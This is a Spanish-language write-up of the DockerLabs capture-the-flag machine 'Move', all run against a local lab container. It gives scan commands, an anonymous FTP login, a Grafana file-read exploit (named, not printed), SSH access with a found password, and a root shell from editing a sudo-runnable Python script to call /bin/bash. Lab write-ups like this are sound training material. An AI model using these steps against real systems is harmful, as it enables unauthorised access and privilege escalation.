Skip to content

Move

This content is not available in your language yet.

En este artículo se documenta la resolución de la máquina virtual Move, diseñada por El Pingüino de Mario y clasificada con un nivel de dificultad fácil. Se aborda de forma estructurada cada etapa del proceso: reconocimiento, explotación y escalada de privilegios.

  • Nombre: Move
  • Autor: El Pingüino de Mario
  • Dificultad: Fácil
  • Fecha de creación: 30/06/2024
  1. Descargamos la máquina desde DockerLabs.

  2. Descomprimimos el archivo:

    Ventana de terminal
    unzip Move.zip
  3. Ejecutamos el script de despliegue:

    Ventana de terminal
    sudo bash auto_deplo.sh Move.tar

Al iniciar la máquina, se muestra directamente su dirección IP, por lo que no es necesario realizar un escaneo ARP.

IP asignada

Configuramos el entorno de trabajo:

Ventana de terminal
mkdir Move
cd Move
mkt # Crea las carpetas: content, exploits, nmap, scripts

Ejecutamos un escaneo de puertos completo con Nmap:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts

Extraemos los puertos abiertos:

Ventana de terminal
extractPorts allPorts

Puertos abiertos

Puertos detectados:

  • 21 (FTP)
  • 22 (SSH)
  • 80 (HTTP)
  • 3000 (HTTP)

Lanzamos un escaneo específico de servicios:

Ventana de terminal
nmap -sCV -p21,22,80,3000 172.17.0.2 -oN targeted

Servicios detectados

Se permite el acceso anónimo vía FTP. Al conectarnos encontramos un archivo accesible:

ftp-anon

Lo descargamos para su análisis posterior.

Realizamos un escaneo con gobuster:

Ventana de terminal
gobuster dir -u http://172.17.0.2/ \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \
-x php,html,txt,js -t 200

Gobuster

Rutas detectadas:

  • index.html: página por defecto de Apache.
  • maintenance.html: contiene una pista sobre la ubicación de un archivo. Maintenance

La interfaz en el puerto 3000 corresponde a una instalación de Grafana:

Grafana index

Grafana expone una versión vulnerable (v8.3.0), susceptible a lectura arbitraria de archivos. Buscamos el exploit correspondiente en ExploitDB y lo ejecutamos para comprobar la vulnerabilidad.

Exploit

Se confirma que podemos leer archivos del sistema, como /etc/passwd, donde identificamos al usuario freddy.

Luego, analizamos el archivo encontrado previamente por FTP y referenciado en maintenance.html:

Pass.txt

Este contiene la contraseña de freddy, lo que nos permite acceder vía SSH:

Ventana de terminal
ssh freddy@172.17.0.2

SSH acceso

Ejecutamos:

Ventana de terminal
sudo -l

sudo -l

El usuario freddy puede ejecutar /opt/maintenance.py como superusuario con python3.

Inspeccionamos el archivo para comprobar si es editable:

maintenance.py

Modificamos su contenido para invocar una shell con privilegios de root:

import os
os.system("/bin/bash")

Luego lo ejecutamos:

Ventana de terminal
sudo python3 /opt/maintenance.py

Obtenemos acceso como root:

Root access

La máquina Move combina técnicas clásicas de enumeración y explotación: acceso anónimo vía FTP, explotación de Grafana para lectura de archivos, y escalada mediante un script Python ejecutable como root. Es una máquina ideal para practicar vectores comunes en entornos de red interna y pruebas de post-explotación.